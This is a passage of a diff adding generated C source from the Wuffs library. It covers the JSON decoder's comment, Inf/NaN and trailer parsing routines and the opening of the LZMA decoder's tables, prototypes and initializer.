WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ continue; -+ } -+ } -+ break; -+ } -+ -+ ok: -+ self->private_impl.p_decode_leading = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_leading = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func json.decoder.decode_comment -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_json__decoder__decode_comment( -+ wuffs_json__decoder* self, -+ wuffs_base__token_buffer* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint16_t v_c16 = 0; -+ uint32_t v_length = 0; -+ -+ wuffs_base__token* iop_a_dst = NULL; -+ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_comment; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ self->private_impl.f_comment_type = 0u; -+ while ((((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) || (((uint64_t)(io2_a_src - iop_a_src)) <= 1u)) { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ continue; -+ } -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ } -+ v_c16 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -+ if ((v_c16 == 10799u) && self->private_impl.f_quirks[11u]) { -+ iop_a_src += 2u; -+ v_length = 2u; -+ while (true) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 1u) { -+ if (v_length > 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ } -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -+ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -+ } -+ v_length = 0u; -+ continue; -+ } -+ v_c16 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -+ if (v_c16 == 12074u) { -+ iop_a_src += 2u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)((v_length + 2u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ self->private_impl.f_comment_type = 1u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } -+ iop_a_src += 1u; -+ if (v_length >= 65533u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)((v_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -+ } -+ v_length = 0u; -+ continue; -+ } -+ v_length += 1u; -+ } -+ } else if ((v_c16 == 12079u) && self->private_impl.f_quirks[12u]) { -+ iop_a_src += 2u; -+ v_length = 2u; -+ while (true) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if (a_src && a_src->meta.closed) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ self->private_impl.f_comment_type = 2u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } else if (v_length > 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -+ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); -+ } -+ v_length = 0u; -+ continue; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ if (v_c8 == 10u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ self->private_impl.f_comment_type = 2u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } -+ iop_a_src += 1u; -+ if (v_length >= 65533u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)((v_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); -+ } -+ v_length = 0u; -+ continue; -+ } -+ v_length += 1u; -+ } -+ } -+ -+ ok: -+ self->private_impl.p_decode_comment = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_comment = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func json.decoder.decode_inf_nan -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_json__decoder__decode_inf_nan( -+ wuffs_json__decoder* self, -+ wuffs_base__token_buffer* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_c32 = 0; -+ uint32_t v_neg = 0; -+ -+ wuffs_base__token* iop_a_dst = NULL; -+ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_inf_nan; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ continue; -+ } -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 2u) { -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ continue; -+ } -+ v_c32 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); -+ if ((v_c32 | 2105376u) == 6712937u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) > 7u) { -+ if ((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) | 2314885530818453536u) == 8751735898823356009u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(10485792u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(8u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ iop_a_src += 8u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } -+ } else if ( ! (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -+ continue; -+ } -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(10485792u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ iop_a_src += 3u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } else if ((v_c32 | 2105376u) == 7233902u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(10485888u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ iop_a_src += 3u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } else if ((v_c32 & 255u) == 43u) { -+ v_neg = 0u; -+ } else if ((v_c32 & 255u) == 45u) { -+ v_neg = 1u; -+ } else { -+ status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ goto exit; -+ } -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 3u) { -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -+ continue; -+ } -+ v_c32 = (wuffs_base__peek_u32le__no_bounds_check(iop_a_src) >> 8u); -+ if ((v_c32 | 2105376u) == 6712937u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) > 8u) { -+ if ((wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 1u) | 2314885530818453536u) == 8751735898823356009u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((10485760u | (((uint32_t)(32u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(9u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ iop_a_src += 9u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } -+ } else if ( ! (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -+ continue; -+ } -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((10485760u | (((uint32_t)(32u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ iop_a_src += 4u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } else if ((v_c32 | 2105376u) == 7233902u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((10485760u | (((uint32_t)(128u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ iop_a_src += 4u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } -+ status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ goto exit; -+ } -+ -+ ok: -+ self->private_impl.p_decode_inf_nan = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_inf_nan = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func json.decoder.decode_trailer -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_json__decoder__decode_trailer( -+ wuffs_json__decoder* self, -+ wuffs_base__token_buffer* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_whitespace_length = 0; -+ -+ wuffs_base__token* iop_a_dst = NULL; -+ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_trailer; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_quirks[18u]) { -+ self->private_impl.f_trailer_stop = 10u; -+ } else { -+ self->private_impl.f_trailer_stop = 0u; -+ } -+ label__outer__continue:; -+ while (true) { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ continue; -+ } -+ v_whitespace_length = 0u; -+ while (true) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if (v_whitespace_length > 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ } -+ if (a_src && a_src->meta.closed) { -+ goto label__outer__break; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ goto label__outer__continue; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ if (WUFFS_JSON__LUT_CLASSES[v_c8] != 0u) { -+ if (v_whitespace_length > 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ } -+ if (self->private_impl.f_trailer_stop > 0u) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ goto exit; -+ } -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ status = wuffs_json__decoder__decode_comment(self, a_dst, a_src); -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ if (self->private_impl.f_comment_type > 0u) { -+ goto label__outer__continue; -+ } -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } -+ iop_a_src += 1u; -+ if ((v_whitespace_length >= 65534u) || (v_c8 == self->private_impl.f_trailer_stop)) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)((v_whitespace_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ if (v_c8 == self->private_impl.f_trailer_stop) { -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } -+ goto label__outer__continue; -+ } -+ v_whitespace_length += 1u; -+ } -+ } -+ label__outer__break:; -+ -+ ok: -+ self->private_impl.p_decode_trailer = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_trailer = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZMA) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_lzma__error__bad_lzma2_header[] = "#lzma: bad LZMA2 header"; -+const char wuffs_lzma__error__bad_bitstream_trailer[] = "#lzma: bad bitstream trailer"; -+const char wuffs_lzma__error__bad_code[] = "#lzma: bad code"; -+const char wuffs_lzma__error__bad_decoded_length[] = "#lzma: bad decoded length"; -+const char wuffs_lzma__error__bad_distance[] = "#lzma: bad distance"; -+const char wuffs_lzma__error__bad_header[] = "#lzma: bad header"; -+const char wuffs_lzma__error__truncated_input[] = "#lzma: truncated input"; -+const char wuffs_lzma__error__unsupported_decoded_length[] = "#lzma: unsupported decoded length"; -+const char wuffs_lzma__error__unsupported_properties[] = "#lzma: unsupported properties"; -+const char wuffs_lzma__error__internal_error_inconsistent_i_o[] = "#lzma: internal error: inconsistent I/O"; -+const char wuffs_lzma__error__internal_error_inconsistent_dictionary_state[] = "#lzma: internal error: inconsistent dictionary state"; -+ -+// ---------------- Private Consts -+ -+static const uint8_t -+WUFFS_LZMA__STATE_TRANSITION_LITERAL[12] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 0u, 0u, 0u, 1u, 2u, 3u, 4u, -+ 5u, 6u, 4u, 5u, -+}; -+ -+static const uint8_t -+WUFFS_LZMA__STATE_TRANSITION_MATCH[12] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 7u, 7u, 7u, 7u, 7u, 7u, 7u, 10u, -+ 10u, 10u, 10u, 10u, -+}; -+ -+static const uint8_t -+WUFFS_LZMA__STATE_TRANSITION_LONGREP[12] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 8u, 8u, 8u, 8u, 8u, 8u, 8u, 11u, -+ 11u, 11u, 11u, 11u, -+}; -+ -+static const uint8_t -+WUFFS_LZMA__STATE_TRANSITION_SHORTREP[12] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 9u, 9u, 9u, 9u, 9u, 9u, 9u, 11u, -+ 11u, 11u, 11u, 11u, -+}; -+ -+static const uint8_t -+WUFFS_LZMA__CLAMP_NO_MORE_THAN_3[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 1u, 2u, 3u, 3u, 3u, 3u, 3u, -+}; -+ -+#define WUFFS_LZMA__QUIRKS_BASE 1348001792u -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__decode_bitstream_fast( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__decode_bitstream_slow( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__add_history( -+ wuffs_lzma__decoder* self, -+ wuffs_base__slice_u8 a_hist, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__do_transform_io( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__decode_bitstream( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__update_stashed_bytes( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__decode_optional_end_of_stream( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_lzma__decoder__initialize_dict( -+ wuffs_lzma__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_lzma__decoder__initialize_probs( -+ wuffs_lzma__decoder* self); -+ -+// ---------------- VTables -+ -+const wuffs_base__io_transformer__func_ptrs -+wuffs_lzma__decoder__func_ptrs_for__wuffs_base__io_transformer = { -+ (wuffs_base__optional_u63(*)(const void*))(&wuffs_lzma__decoder__dst_history_retain_length), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_lzma__decoder__get_quirk), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_lzma__decoder__set_quirk), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__slice_u8))(&wuffs_lzma__decoder__transform_io), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_lzma__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_lzma__decoder__initialize( -+ wuffs_lzma__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = -+ wuffs_base__io_transformer__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = -+ (const void*)(&wuffs_lzma__decoder__func_ptrs_for__wuffs_base__io_transformer); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_lzma__decoder* -+wuffs_lzma__decoder__alloc(void) { -+ wuffs_lzma__decoder* x = -+ (wuffs_lzma__decoder*)(calloc(1, sizeof(wuffs_lzma__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_lzma__decoder__initialize( -+ x, sizeof(wuffs_lzma__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_lzma__decoder(void) { -+ return sizeof(wuffs_lzma__decoder); -+} -+ -+// ---------------- Function Implementations -+ -+// -------- func lzma.decoder.decode_bitstream_fast -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__decode_bitstream_fast( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_bits = 0; -+ uint32_t v_range = 0; -+ uint32_t v_state = 0; -+ uint32_t v_rep0 = 0; -+ 